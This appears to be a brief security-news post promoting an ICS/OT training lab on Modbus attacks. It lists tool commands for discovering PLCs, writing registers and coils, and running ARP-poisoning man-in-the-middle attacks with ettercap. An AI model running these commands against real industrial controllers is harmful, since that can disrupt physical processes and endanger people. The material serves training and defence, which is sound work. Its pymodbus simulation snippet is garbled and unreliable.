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Link: Labshock – Modbus Under Siege
Zakhar Bernhardt introduces Labshock, a live master lab for ICS/OT security, focusing on Modbus protocol exploitation. This hands-on session covers real attacks, traffic analysis, and PLC manipulation—no prior setup required.
You Should Know:
1. Finding PLCs on the Network
Use Nmap to scan for Modbus-enabled devices:
nmap -p 502 --script modbus-discover <target_IP_range>
2. Enumerating Modbus Registers
Use mbpoll to read/write Modbus registers:
mbpoll -a <unit_id> -r <register> -t <type> -c <count> <PLC_IP>
3. Flipping Coils & Writing Registers
Exploit coils (discrete outputs) with Modbus CLI:
modbus write <PLC_IP> <coil_address> <value> (0 or 1)
4. Man-in-the-Middle (MitM) Attacks
Intercept Modbus traffic using Ettercap (ARP poisoning):
ettercap -T -q -M arp /<target_IP>/ /<gateway_IP>/
Analyze traffic in Wireshark with `modbus` filter.
5. Analyzing Modbus Traffic
Capture and decode Modbus packets:
tshark -i eth0 -Y "modbus" -w modbus_traffic.pcap
6. Simulating PLCs for Practice
Use pymodbus to simulate a PLC:
from pymodbus.server import StartTcpServer
from pymodbus.datastore import ModbusSequentialDataBlock
store = ModbusSequentialDataBlock(0, [bash]100)
StartTcpServer(context={"data": store}, address=("0.0.0.0", 502))
What Undercode Say:
This lab bridges theory and real-world ICS attacks. Modbus, lacking encryption, is vulnerable to register manipulation, MitM, and DoS. Practicing with Nmap, Ettercap, and Wireshark sharpens OT security skills.
Prediction:
As OT systems integrate with IT networks, exploits like Stuxnet will resurge. Expect more AI-driven ICS attacks, requiring defenders to master traffic analysis and protocol hardening.
Expected Output:
- PLC discovery via Nmap
- Coil flipping with Modbus CLI
- MitM attacks on Modbus traffic
- PCAP analysis for forensic readiness
References:
Reported By: Zakharb You – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
